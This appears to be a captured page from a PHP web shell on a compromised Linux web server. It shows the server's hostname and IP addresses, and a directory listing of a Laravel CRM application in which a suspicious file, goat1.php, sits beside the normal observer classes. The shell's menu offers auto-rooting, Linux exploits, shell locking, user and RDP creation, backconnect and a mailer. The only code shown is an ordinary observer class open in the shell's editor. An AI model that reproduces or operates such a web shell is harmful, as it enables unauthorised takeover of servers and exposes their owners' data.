Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo5.com /
app /
Observers /
[ HOME SHELL ]
Name
Size
Permission
Action
AcceptEstimateObserver.php
223
B
-rw-r--r--
AppreciationObserver.php
884
B
-rw-r--r--
AttendanceObserver.php
13.04
KB
-rw-r--r--
AttendanceRegularisationObserv...
387
B
-rw-r--r--
AttendanceSettingObserver.php
256
B
-rw-r--r--
AwardObserver.php
682
B
-rw-r--r--
BankAccountObserver.php
2.51
KB
-rw-r--r--
BankTransactionObserver.php
1.18
KB
-rw-r--r--
ClientCategoryObserver.php
247
B
-rw-r--r--
ClientContactObserver.php
464
B
-rw-r--r--
ClientDetailsObserver.php
1.14
KB
-rw-r--r--
ClientDocumentObserver.php
550
B
-rw-r--r--
ClientNoteObserver.php
530
B
-rw-r--r--
ClientSubCategoryObserver.php
256
B
-rw-r--r--
ClientUserNotesObserver.php
248
B
-rw-r--r--
CompanyAddressObserver.php
571
B
-rw-r--r--
CompanyObserver.php
29.58
KB
-rw-r--r--
ContractDiscussionObserver.php
499
B
-rw-r--r--
ContractFileObserver.php
423
B
-rw-r--r--
ContractObserver.php
6.73
KB
-rw-r--r--
ContractRenewObserver.php
572
B
-rw-r--r--
ContractSignObserver.php
241
B
-rw-r--r--
ContractTemplateObserver.php
446
B
-rw-r--r--
ContractTypeObserver.php
241
B
-rw-r--r--
CreditNoteObserver.php
4
KB
-rw-r--r--
CurrencyFormatSettingObserver....
268
B
-rw-r--r--
CurrencyObserver.php
229
B
-rw-r--r--
CustomFieldGroupObserver.php
253
B
-rw-r--r--
CustomFieldsObserver.php
3.34
KB
-rw-r--r--
CustomLinkSettingObserver.php
256
B
-rw-r--r--
DashboardWidgetObserver.php
250
B
-rw-r--r--
DealNoteObserver.php
1.01
KB
-rw-r--r--
DealObserver.php
7.28
KB
-rw-r--r--
DesignationObserver.php
1.59
KB
-rw-r--r--
DiscussionCategoryObserver.php
259
B
-rw-r--r--
DiscussionFileObserver.php
247
B
-rw-r--r--
DiscussionObserver.php
1.98
KB
-rw-r--r--
DiscussionReplyObserver.php
2.12
KB
-rw-r--r--
EmailNotificationSettingObserv...
277
B
-rw-r--r--
EmergencyContactObserver.php
580
B
-rw-r--r--
EmployeeDetailsObserver.php
1.33
KB
-rw-r--r--
EmployeeDocsObserver.php
511
B
-rw-r--r--
EmployeeShiftChangeObserver.ph...
1.07
KB
-rw-r--r--
EmployeeShiftObserver.php
1.33
KB
-rw-r--r--
EmployeeShiftScheduleObserver....
3.62
KB
-rw-r--r--
EmployeeSkillObserver.php
240
B
-rw-r--r--
EmployeeTeamObserver.php
237
B
-rw-r--r--
EstimateObserver.php
8.97
KB
-rw-r--r--
EstimateRequestObserver.php
1.46
KB
-rw-r--r--
EstimateTemplateObserver.php
9.51
KB
-rw-r--r--
EventAttendeeObserver.php
240
B
-rw-r--r--
EventObserver.php
6.09
KB
-rw-r--r--
ExpenseObserver.php
12
KB
-rw-r--r--
ExpenseRecurringObserver.php
3.15
KB
-rw-r--r--
ExpensesCategoryObserver.php
249
B
-rw-r--r--
ExpensesCategoryRoleObserver.p...
261
B
-rw-r--r--
FileStorageObserver.php
238
B
-rw-r--r--
FileUploadObserver.php
622
B
-rw-r--r--
GdprSettingObserver.php
183
B
-rw-r--r--
GlobalSettingObserver.php
486
B
-rw-r--r--
GoogleCalendarModuleObserver.p...
261
B
-rw-r--r--
HolidayObserver.php
2.42
KB
-rw-r--r--
InvoiceFileObserver.php
1
KB
-rw-r--r--
InvoiceObserver.php
24.17
KB
-rw-r--r--
InvoiceRecurringObserver.php
4.81
KB
-rw-r--r--
InvoiceSettingObserver.php
791
B
-rw-r--r--
IssueObserver.php
614
B
-rw-r--r--
KnowledgeBaseCategoriesObserve...
266
B
-rw-r--r--
KnowledgeBaseObserver.php
240
B
-rw-r--r--
LanguageSettingObserver.php
712
B
-rw-r--r--
LeadAgentObserver.php
516
B
-rw-r--r--
LeadCategoryObserver.php
543
B
-rw-r--r--
LeadCustomFormObserver.php
513
B
-rw-r--r--
LeadFileObserver.php
1.01
KB
-rw-r--r--
LeadFollowUpObserver.php
6.84
KB
-rw-r--r--
LeadNoteObserver.php
557
B
-rw-r--r--
LeadObserver.php
1.95
KB
-rw-r--r--
LeadPipelineObserver.php
1.28
KB
-rw-r--r--
LeadSourceObserver.php
525
B
-rw-r--r--
LeadStageObserver.php
1.01
KB
-rw-r--r--
LeadStatusObserver.php
1017
B
-rw-r--r--
LeaveFileObserver.php
906
B
-rw-r--r--
LeaveObserver.php
11.27
KB
-rw-r--r--
LeaveSettingObserver.php
241
B
-rw-r--r--
LeaveTypeObserver.php
2.47
KB
-rw-r--r--
LogTimeForObserver.php
245
B
-rw-r--r--
MessageSettingObserver.php
247
B
-rw-r--r--
ModuleSettingObserver.php
458
B
-rw-r--r--
NewChatObserver.php
1.52
KB
-rw-r--r--
NoticeFileObserver.php
750
B
-rw-r--r--
NoticeObserver.php
2.42
KB
-rw-r--r--
NoticeViewObserver.php
245
B
-rw-r--r--
OfflinePaymentMethodObserver.p...
279
B
-rw-r--r--
OrderObserver.php
5.69
KB
-rw-r--r--
PaymentGatewayCredentialsObser...
294
B
-rw-r--r--
PaymentObserver.php
14.47
KB
-rw-r--r--
PermissionRoleObserver.php
67
B
-rw-r--r--
PinnedObserver.php
514
B
-rw-r--r--
ProductCategoryObserver.php
270
B
-rw-r--r--
ProductFileObserver.php
1.05
KB
-rw-r--r--
ProductObserver.php
1.43
KB
-rw-r--r--
ProductSubCategoryObserver.php
285
B
-rw-r--r--
ProjectCategoryObserver.php
567
B
-rw-r--r--
ProjectMemberObserver.php
1.82
KB
-rw-r--r--
ProjectMilestoneObserver.php
699
B
-rw-r--r--
ProjectNoteObserver.php
3.75
KB
-rw-r--r--
ProjectObserver.php
7.28
KB
-rw-r--r--
ProjectRatingObserver.php
713
B
-rw-r--r--
ProjectSettingObserver.php
265
B
-rw-r--r--
ProjectStatusSettingObserver.p...
295
B
-rw-r--r--
ProjectTemplateMilestoneObserv...
731
B
-rw-r--r--
ProjectTemplateObserver.php
270
B
-rw-r--r--
ProjectTimelogBreakObserver.ph...
626
B
-rw-r--r--
ProjectTimelogObserver.php
3.53
KB
-rw-r--r--
PromotionObserver.php
2.08
KB
-rw-r--r--
ProposalObserver.php
12.3
KB
-rw-r--r--
ProposalTemplateObserver.php
8.72
KB
-rw-r--r--
RemovalRequestLeadObserver.php
982
B
-rw-r--r--
RemovalRequestObserver.php
1019
B
-rw-r--r--
RoleObserver.php
213
B
-rw-r--r--
SkillObserver.php
220
B
-rw-r--r--
StickyNoteObserver.php
235
B
-rw-r--r--
SubTaskObserver.php
1.17
KB
-rw-r--r--
TaskBoardColumnObserver.php
694
B
-rw-r--r--
TaskCategoryObserver.php
555
B
-rw-r--r--
TaskCommentObserver.php
2.82
KB
-rw-r--r--
TaskFileObserver.php
727
B
-rw-r--r--
TaskLabelListObserver.php
2
KB
-rw-r--r--
TaskNoteObserver.php
3.19
KB
-rw-r--r--
TaskObserver.php
23.03
KB
-rw-r--r--
TaskSettingObserver.php
238
B
-rw-r--r--
TaskUserObserver.php
823
B
-rw-r--r--
TaxObserver.php
214
B
-rw-r--r--
TeamObserver.php
1.54
KB
-rw-r--r--
ThemeSettingObserver.php
241
B
-rw-r--r--
TicketAgentGroupsObserver.php
602
B
-rw-r--r--
TicketChannelObserver.php
244
B
-rw-r--r--
TicketCustomFormObserver.php
253
B
-rw-r--r--
TicketEmailSettingObserver.php
259
B
-rw-r--r--
TicketFileObserver.php
469
B
-rw-r--r--
TicketGroupObserver.php
238
B
-rw-r--r--
TicketObserver.php
7.16
KB
-rw-r--r--
TicketReplyObserver.php
5.34
KB
-rw-r--r--
TicketReplyTemplateObserver.ph...
262
B
-rw-r--r--
TicketTagListObserver.php
244
B
-rw-r--r--
TicketTagObserver.php
232
B
-rw-r--r--
TicketTypeObserver.php
235
B
-rw-r--r--
UnitTypeObserver.php
235
B
-rw-r--r--
UniversalSearchObserver.php
250
B
-rw-r--r--
UserActivityObserver.php
213
B
-rw-r--r--
UserInvitationObserver.php
504
B
-rw-r--r--
UserLeadboardSettingObserver.p...
265
B
-rw-r--r--
UserObserver.php
1.14
KB
-rw-r--r--
UserPermissionObserver.php
406
B
-rw-r--r--
UserTaskboardSettingObserver.p...
265
B
-rw-r--r--
UserchatFileObserver.php
213
B
-rw-r--r--
WeeklyTimeSheetObserver.php
270
B
-rw-r--r--
WeeklyTimesheetEntriesObserver...
303
B
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProposalTemplateObserver.php
<?php namespace App\Observers; use App\Helper\Files; use App\Models\ProposalTemplateItemImage; use App\Models\ProposalTemplate; use App\Models\ProposalTemplateItem; use App\Traits\UnitTypeSaveTrait; class ProposalTemplateObserver { use UnitTypeSaveTrait; public function creating(ProposalTemplate $proposal) { if (company()) { $proposal->company_id = company()->id; } } public function created(ProposalTemplate $proposal) { if (!isRunningInConsoleOrSeeding()) { if (!empty(request()->item_name)) { $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $hsn_sac_code = request()->hsn_sac_code; $quantity = request()->quantity; $unitId = request()->unit_id; $product = request()->product_id; $amount = request()->amount; $tax = request()->taxes; $invoice_item_image = request()->invoice_item_image; $invoice_item_image_url = request()->invoice_item_image_url; foreach (request()->item_name as $key => $item) { if (!is_null($item)) { $proposalTemplateItem = ProposalTemplateItem::create( [ 'proposal_template_id' => $proposal->id, 'company_id' => $proposal->company_id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key], 'type' => 'item', 'unit_id' => (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => $quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null) ] ); } /* Invoice file save here */ if (isset($proposalTemplateItem) && (isset($invoice_item_image[$key]) || isset($invoice_item_image_url[$key]))) { $proposalTemplateItemImage = new ProposalTemplateItemImage(); $proposalTemplateItemImage->proposal_template_item_id = $proposalTemplateItem->id; $proposalTemplateItemImage->company_id = $proposalTemplateItem->company_id; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], ProposalTemplateItemImage::FILE_PATH . '/' . $proposalTemplateItem->id . '/'); $proposalTemplateItemImage->filename = $invoice_item_image[$key]->getClientOriginalName(); $proposalTemplateItemImage->hashname = $filename; $proposalTemplateItemImage->size = $invoice_item_image[$key]->getSize(); } $proposalTemplateItemImage->external_link = isset($invoice_item_image[$key]) ? null : (isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null); $proposalTemplateItemImage->save(); } } } } } /** * @throws RelatedResourceNotFoundException */ public function updated(ProposalTemplate $proposal) { if (!isRunningInConsoleOrSeeding()) { /* Step1 - Delete all invoice items which are not avaialable Step2 - Find old invoices items, update it and check if images are newer or older Step3 - Insert new invoices items with images */ $request = request(); $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $tax = $request->taxes; $quantity = $request->quantity; $cost_per_item = $request->cost_per_item; $amount = $request->amount; $proposal_item_image = $request->invoice_item_image; $proposal_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; $unitId = request()->unit_id; $productId = request()->product_id; if (!empty($request->item_name) && is_array($request->item_name)) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { ProposalTemplateItem::whereNotIn('id', $item_ids)->where('proposal_template_id', $proposal->id)->delete(); } // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = $item_ids[$key] ?? 0; $proposalTemplateItem = ProposalTemplateItem::find($invoice_item_id); if ($proposalTemplateItem === null) { $proposalTemplateItem = new ProposalTemplateItem(); } $proposalTemplateItem->proposal_template_id = $proposal->id; $proposalTemplateItem->company_id = $proposal->company_id; $proposalTemplateItem->item_name = $item; $proposalTemplateItem->item_summary = $itemsSummary[$key]; $proposalTemplateItem->type = 'item'; $proposalTemplateItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $proposalTemplateItem->product_id = (isset($productId[$key]) && !is_null($productId[$key])) ? $productId[$key] : null; $proposalTemplateItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $proposalTemplateItem->quantity = $quantity[$key]; $proposalTemplateItem->unit_price = round($cost_per_item[$key], 2); $proposalTemplateItem->amount = round($amount[$key], 2); $proposalTemplateItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $proposalTemplateItem->save(); /* Invoice file save here */ // phpcs:ignore if ((isset($proposal_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($proposal_item_image_url[$key])) { $proposalTemplateItemImage = ProposalTemplateItemImage::where('proposal_template_item_id', $proposalTemplateItem->id)->firstOrNew(); $proposalTemplateItemImage->proposal_template_item_id = $proposalTemplateItem->id; $proposalTemplateItemImage->company_id = $proposalTemplateItem->company_id; /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ if (!isset($proposal_item_image_url[$key]) && $proposalTemplateItem && $proposalTemplateItem->proposalTemplateItemImage) { Files::deleteFile($proposalTemplateItem->proposalTemplateItemImage->hashname, ProposalTemplateItemImage::FILE_PATH . '/' . $proposalTemplateItem->id . '/'); } if (isset($proposal_item_image[$key])) { $filename = Files::uploadLocalOrS3($proposal_item_image[$key], ProposalTemplateItemImage::FILE_PATH . '/' . $proposalTemplateItem->id . '/'); $proposalTemplateItemImage->filename = isset($proposal_item_image[$key]) ? $proposal_item_image[$key]->getClientOriginalName() : null; $proposalTemplateItemImage->hashname = isset($proposal_item_image[$key]) ? $filename : null; $proposalTemplateItemImage->size = isset($proposal_item_image[$key]) ? $proposal_item_image[$key]->getSize() : null; } $proposalTemplateItemImage->external_link = isset($proposal_item_image[$key]) ? null : ($proposal_item_image_url[$key] ?? null); $proposalTemplateItemImage->save(); } } } } } }
Close